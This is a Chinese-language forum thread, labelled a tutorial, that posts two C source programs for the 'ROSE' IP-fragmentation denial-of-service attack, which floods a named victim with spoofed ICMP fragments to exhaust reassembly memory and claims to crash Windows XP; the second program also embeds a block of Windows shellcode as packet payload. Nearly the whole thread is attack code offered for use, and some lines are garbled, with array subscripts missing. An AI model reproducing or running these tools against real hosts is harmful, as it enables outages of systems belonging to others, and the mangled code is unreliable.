發新話題

[教學]IP碎片攻擊源代碼

[教學]IP碎片攻擊源代碼

IP碎片攻擊源代碼

/***
   ROSE attack (variation 2) (chuck (at) lemure.net)
   
   Discovered by:
   gandalf (at) digital.net
   
   code modified from large IGMP attack by:
       Kox by Coolio (coolio (at) k-r4d.com)

   Sends out small IP fragments totalling up to a large
   ICMP packet.  Then repeatedly sends last IP Fragment forcing
   reassembly code to traverse to last IP fragment in order to
   do a free() followed by a malloc().  Or so it seems.

   Reportedly works for TCP / UDP as well, since this is
   a IP layer attack.


***/

/* just a thousand kills win XP */

#define NUM_PACKETS 100


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <pwd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#include <netinet/ip_icmp.h>

void usage(char *arg)
{
       printf("Rose attack\n");
       printf("Usage: %s <victim> [source]\n", arg);
printf("If source not specified, will send out from random ip's\n");
       exit(1);
}


unsigned int randip()
{
       struct hostent *he;
       struct sockaddr_in sin;
       char *buf = (char *)calloc(1, sizeof(char) * 16);

       sprintf(buf, "%d.%d.%d.%d",
               (random()%191)+23,
               (random()%253)+1,
               (random()%253)+1,
               (random()%253)+1);

       return inet_addr(buf);
      
}

unsigned short in_cksum(unsigned short *buh, int len)
{
       register long sum = 0;
       unsigned short oddbyte;
       register unsigned short answer;

       while(len > 1) {
               sum += *buh++;
               len -= 2;
        }

       if(len == 1) {
               oddbyte = 0;
               *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
               sum += oddbyte;
        }

       sum = (sum >> 16) + (sum & 0xFFFF);
       sum += (sum >> 16);
       answer = ~sum;
       return answer;
}

int fire_away(struct sockaddr_in *victim, unsigned long src)
{
       int SMALLICMP = 1;
       unsigned char *pkt;
       struct iphdr *ip;
       struct igmphdr *igmp;
struct icmphdr *icmp_pkt;
       struct utsname *un;
       struct passwd *p;
int idList[NUM_PACKETS];
unsigned long j;
       int i, s;
int id = (random() % 40000) + 500;
for (i=0;i<NUM_PACKETS;i++)
idList=(random() % 40000) + 500;

      

       pkt = (unsigned char *)calloc(1, SMALLICMP
     + sizeof(struct iphdr) +
     sizeof(struct icmphdr));
       ip = (struct iphdr *)pkt;
icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
       ip->version = 4;
       ip->ihl = (sizeof *ip) / 4;
       ip->ttl = 255;
       ip->tot_len = htons(SMALLICMP);
       ip->protocol = 1;
       ip->id = htons(id);
       ip->frag_off = htons(IP_MF);
       ip->saddr = src;
       ip->daddr = victim->sin_addr.s_addr;
       ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));


icmp_pkt->type = ICMP_ECHO;
icmp_pkt->code = 0;
icmp_pkt->checksum = 1000;
icmp_pkt->un.echo.id = random() % 255;
icmp_pkt->un.echo.sequence = random() % 255;

       for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
           i < SMALLICMP; i++){
pkt = random() % 255;

}

       if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
               perror("error: socket()");
               return 1;
        }

printf(" Sending out series of small fragments\r\n");

for(i=0;i<NUM_PACKETS;i++){
ip->id = htons(idList);
for (j=0; j<8170; j += SMALLICMP + 1){   
   ip->frag_off = htons(j | IP_MF);
   if(sendto(s, pkt,
     SMALLICMP + sizeof(struct iphdr),
     0, (struct sockaddr *)victim,
     sizeof(struct sockaddr_in)) == -1) {
     perror("error: sendto()");
     return 1;
    }
  }
}

printf(" Sending out tailing fragments\r\n");
/* big frag at end... */
/* sending a large amount of the end fragments over and
  over.  This is definitely overkill, but seems to work */
for (j=0;j<9999*NUM_PACKETS;j++){
for(i=0;i<NUM_PACKETS;i++){
   ip->id=htons(idList);
   ip->frag_off = htons(8190|IP_MF);
   //ip->frag_off = htons(8100 | IP_MF);
   sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP,
  0, (struct sockaddr *)victim,
  sizeof(struct sockaddr_in));
   /* if you do sleep, CPU usage goes way down.  But memory usage
      still creeps upward */
   //usleep(100); //sleep after every trailing packet
  }
usleep(100); //sleep after every series of NUM_PACKETS
}
       free(pkt);
       close(s);
       return 0;
}

int main(int argc, char *argv[])
{
       struct sockaddr_in victim;
       struct hostent *he;
unsigned long source;
       int i;

       srandom(time(NULL));

       if(argc < 2)
               usage(argv[0]);

       if((he = gethostbyname(argv[1])) == NULL) {
               herror(argv[1]);
               exit(1);
        }

if (argc > 2){
source = inet_addr(argv[2]);
}
else {
source = randip();
}

       memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
       victim.sin_port = htons(0);
       victim.sin_family = PF_INET;

       printf("Sending ICMP fragments:  \r\n");
       fflush(stdout);
fire_away(&victim, source);
if (argc < 3){
source = randip();
}

fflush(stdout);
printf("\nDONE\n");
       fflush(stdout);
}


/***
   ROSE attack (chuck@lemure.net)

   Discovered by:
   gandalf@digital.net
   
   code modified from large IGMP attack by:
   Kox by Coolio (coolio@k-r4d.com)


   Sends out first and last ICMP packet echo request.
   Reportedly works for TCP / UDP as well, since this is
   a IP layer attack.

   Eats up all available packets for fragmentation reassembly.


***/

/* just a thousand kills win XP */

#define NUM_PACKETS 1000


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <pwd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#include <netinet/ip_icmp.h>

/* Figured I try sending some shell code for my random payload...
  doesn't do anything
*/

char code[] =
"\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86"
"\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc"
"\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2\x73\xad\xd9\x05\xce\x72\xfe\xb3"
"\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89"
"\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59"
"\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06"
"\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\x8e"
"\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff"
"\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31"
"\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55"
"\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81"
"\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6"
"\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c"
"\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"
"\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff"
"\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57"
"\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"
"\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"
"\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"
"\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"
"\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"
"\x5b\xc2\x08\x00";

[ 本帖最後由 philxyz0316 於 2006-7-23 21:33 編輯 ]

TOP

void usage(char *arg)
{
       printf("Rose attack\n");
       printf("Usage: %s <victim> [source]\n", arg);
printf("If source not specified, will send out from random ip's\n");
       exit(1);
}


unsigned int randip()
{
       struct hostent *he;
       struct sockaddr_in sin;
       char *buf = (char *)calloc(1, sizeof(char) * 16);

       sprintf(buf, "%d.%d.%d.%d",
               (random()%191)+23,
               (random()%253)+1,
               (random()%253)+1,
               (random()%253)+1);



       return inet_addr(buf);
      
}

unsigned short in_cksum(unsigned short *buh, int len)
{
       register long sum = 0;
       unsigned short oddbyte;
       register unsigned short answer;

       while(len > 1) {
               sum += *buh++;
               len -= 2;
        }

       if(len == 1) {
               oddbyte = 0;
               *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
               sum += oddbyte;
        }

       sum = (sum >> 16) + (sum & 0xFFFF);
       sum += (sum >> 16);
       answer = ~sum;
       return answer;
}

int rose(struct sockaddr_in *victim, unsigned long src)
{
       int SMALLICMP = 1000;
       unsigned char *pkt;
       struct iphdr *ip;
       struct igmphdr *igmp;
struct icmphdr *icmp_pkt;
       struct utsname *un;
       struct passwd *p;

       int i, s,j;
       int id = (random() % 40000) + 500;

       pkt = (unsigned char *)calloc(1, SMALLICMP);
       ip = (struct iphdr *)pkt;
icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
       ip->version = 4;
       ip->ihl = (sizeof *ip) / 4;
       ip->ttl = 255;
       ip->tot_len = htons(SMALLICMP);
       ip->protocol = 1;
       ip->id = htons(id);
       ip->frag_off = htons(IP_MF);
       ip->saddr = src;
       ip->daddr = victim->sin_addr.s_addr;
       ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

icmp_pkt->type = ICMP_ECHO;
icmp_pkt->code = 0;
icmp_pkt->checksum = 1000;
icmp_pkt->un.echo.id = random() % 255;
icmp_pkt->un.echo.sequence = random() % 255;

       for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
           i < SMALLICMP; i++){
//pkt = random() % 255;
pkt = '\x00';
}
j=0;
for (i=sizeof(struct iphdr) + sizeof(struct icmphdr) + 500;
    i < sizeof(struct iphdr) + sizeof(struct icmphdr) + 500 + 356;
    i++){
pkt = code[j];
j++;
}
       if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
               perror("error: socket()");
               return 1;
        }

       if(sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,
          sizeof(struct sockaddr_in)) == -1) {
               perror("error: sendto()");
               return 1;
        }

/* big frag at end... */

ip->frag_off = htons(8100);
//ip->frag_off = htons(8100 | IP_MF);
sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,
      sizeof(struct sockaddr_in));

       free(pkt);
       close(s);
usleep(1000);
       return 0;
}

int main(int argc, char *argv[])
{
       struct sockaddr_in victim;
       struct hostent *he;
unsigned long source;
       int i;

       srandom(time(NULL));

       if(argc < 2)
               usage(argv[0]);

       if((he = gethostbyname(argv[1])) == NULL) {
               herror(argv[1]);
               exit(1);
        }

if (argc > 2){
source = inet_addr(argv[2]);
}
else {
source = randip();
}

       memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
       victim.sin_port = htons(0);
       victim.sin_family = PF_INET;

       printf("Sending ICMP fragments:  ");
       fflush(stdout);
       for(i = 0; i < NUM_PACKETS; i++)
{
               rose(&victim, source);
if (argc < 3){
source = randip();
}
               printf("%d\n", i);
               fflush(stdout);
  }
       printf("\nDONE\n");
       fflush(stdout);
}

TOP

發新話題

本站所有圖文均屬網友發表,僅代表作者的觀點與本站無關,如有侵權請通知版主會盡快刪除。